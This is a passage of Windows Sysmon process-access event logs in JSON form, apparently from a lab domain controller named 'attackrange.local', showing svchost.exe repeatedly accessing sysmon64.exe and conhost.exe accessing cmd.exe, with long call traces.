C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nTargetProcessId: 3320\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 